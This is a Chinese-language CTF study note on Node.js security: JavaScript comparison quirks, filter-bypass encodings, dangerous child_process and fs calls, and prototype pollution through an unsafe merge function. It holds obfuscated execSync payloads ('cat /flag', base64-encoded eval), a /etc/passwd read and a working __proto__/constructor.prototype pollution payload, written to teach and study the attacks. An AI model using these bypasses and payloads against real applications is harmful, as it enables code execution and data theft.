关于Nodejs
Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎
node特性
大小写转换
toUpperCase(): 字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)(ascii 8490)
弱类型比较
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false
数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false
console.log([]==[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false
空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较
其他
console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false
变量拼接
console.log(5+[6,6]); //56,3
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
MD5的绕过
数组、定义的对象会被解析成[object Object]
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}") //[object Object]flag{xxx}
console.log(b+"flag{xxx}") ////[object Object]flag{xxx}
a=[1]
b=[2]
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
编码绕过
console.log("a"==="\x61"); // true 16进制编码
console.log("\u0061"==="a"); // true unicode编码
eval(Buffer.from('Y29uc29sZS5sb2coIkwxbWJvIik7','base64').toString()) base64编码
Nodejs危险函数
命令执行
require('child_process').exec('calc');
console.log(eval("L1mbo.cookie")); //执行document.cookie
console.log("L1mbo.cookie"); //输出document.cookie
文件读写
读 :
readFileSync():
require('fs').readFile('/etc/passwd', 'utf-8', (err, data) => {
if (err) throw err;
console.log(data);
});
readFile():
require('fs').readFileSync('/etc/passwd','utf-8')
写:
writeFileSync():
require('fs').writeFileSync('input.txt','sss');
writeFile():
require('fs').writeFile('input.txt','sss',(err)=>{})
RCE Bypass
//拼接
require("child_process")['exe'%2b'cSync']('cat /flag')
require('child_process')["exe".concat("cSync")]("open /System/Applications/Calculator.app/")
//编码
require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat /flag') //execSync
require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat /flag')
eval(Buffer.from('cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCdjYWxjJyk7','base64').toString()) //弹计算器
//模板拼接
require("child_process")['execSync']('calc');
其他:
require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); *//调用某个可执行文件,在第二个参数传args*
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);
原型链污染
原型链污染是一种针对JavaScript 运行时的注入攻击。通过原型链污染,攻击者可能控制对象属性的默认值。这允许攻击者篡改应用程序的逻辑,还可能导致拒绝服务,或者在极端情况下,远程执行代码。
prototype原型
对于使用过基于类的语言 (如 Java 或 C++) 的开发者们来说,JavaScript 实在是有些令人困惑 —— JavaScript 是动态的,本身不提供一个 class 的实现。即便是在 ES2015/ES6 中引入了 class 关键字,但那也只是语法糖,JavaScript 仍然是基于原型的。
当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为 proto
)指向它的构造函数的原型对象(prototype
)。该原型对象也有一个自己的原型对象(__proto__
),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。
几乎所有 JavaScript 中的对象都是位于原型链顶端的 Object 的实例。
尽管这种原型继承通常被认为是 JavaScript 的弱点之一,但是原型继承模型本身实际上比经典模型更强大。例如,在原型模型的基础上构建经典模型相当简单。
继承
原型是继承的基础,JavaScript中 原型链可以通过prototype这个属性来实现继承机制
function Father(){
this.first_name = 'DDDDD'
this.last_name = 'LLLL'
}
function Son(){
this.first_name = 'aaa'
}
Son.prototype = new Father();
let son = new Son();
console.log(`${son.first_name}${son.last_name}`); //aaaLLLL
这里Son类继承了Father类,在调用son.last_name的时候,首先在son对象里面找,如果没有last_ name属性,就会在son.__proto__ 里面找,找不到就再往上son.__ proto__ .__ proto__.__里找, 直到null为止
pollute
function Father(){
this.first_name = 'DDDDD'
this.last_name = 'LLLL'
}
function Son(){
this.first_name = 'aaa'
}
Son.prototype = new Father();
let son = new Son();
son.__proto__['last_name'] = 'ppppp';
let sontwo = new Son();
console.log(`${son.last_name}`); //ppppp
console.log(`${sontwo.last_name}`); //ppppp
可以发现修改了son的原型属性之后会影响到另外一个具有相同原型的对象,不难看出我们是通过设置了__proto__的值 来影响原型的属性。
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染
。
再如:
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar,此时bar为2
console.log(zoo.bar)
如何触发原型链污染
我们想要设置_ proto 的值, 其实找找能够控制数组(对象)的“键名”的操作即可:
●对象merge
●对象clone(其实内核就是将待操作的对象merge到---个空对象中)
以对象merge为例,一个简单的merge函数:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
在其中target[key] = source[key]
,如果我们控制key
的值为__proto__
,即可以对其原型进行pollute
用下面的例子测试一下
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let obj1 = {}
let obj2 = {a:1,"__proto__":{b:2}}
let obj3 = {}
merge(obj1,obj2)
console.log(obj1.a,obj2.b) // 1 2
console.log(obj3.b) // undefined
虽然obj1和obj2合并成功,但是并没有污染到obj的proto,因为在创建obj2的时候let obj2 = {a:1,"__proto__":{b:2}}
,"__proto__"
已经被解析成obj的原型的,没有在merge中以key的身份出现,所以obj2中的key只有a
和b
。
所以改改嘛:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let obj1 = {}
let obj2 = JSON.parse('{"a":1,"__proto__":{"b":2}}')
let obj3 = {}
merge(obj1,obj2)
console.log(obj1.a,obj1.b) //1 2
console.log(obj3.b) // 2
要用JSON
的方式解析,”__proto__“会被解析成键名key
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
Bypass
proto
对 __protp__
进⾏检测,可以利⽤ contructor.prototype
进⾏绕过:
data=json.dumps({"constructor":
{"prototype":
{"kento": "admin"}}
}))
Nodejs 原型链污染
nodejs之一些小知识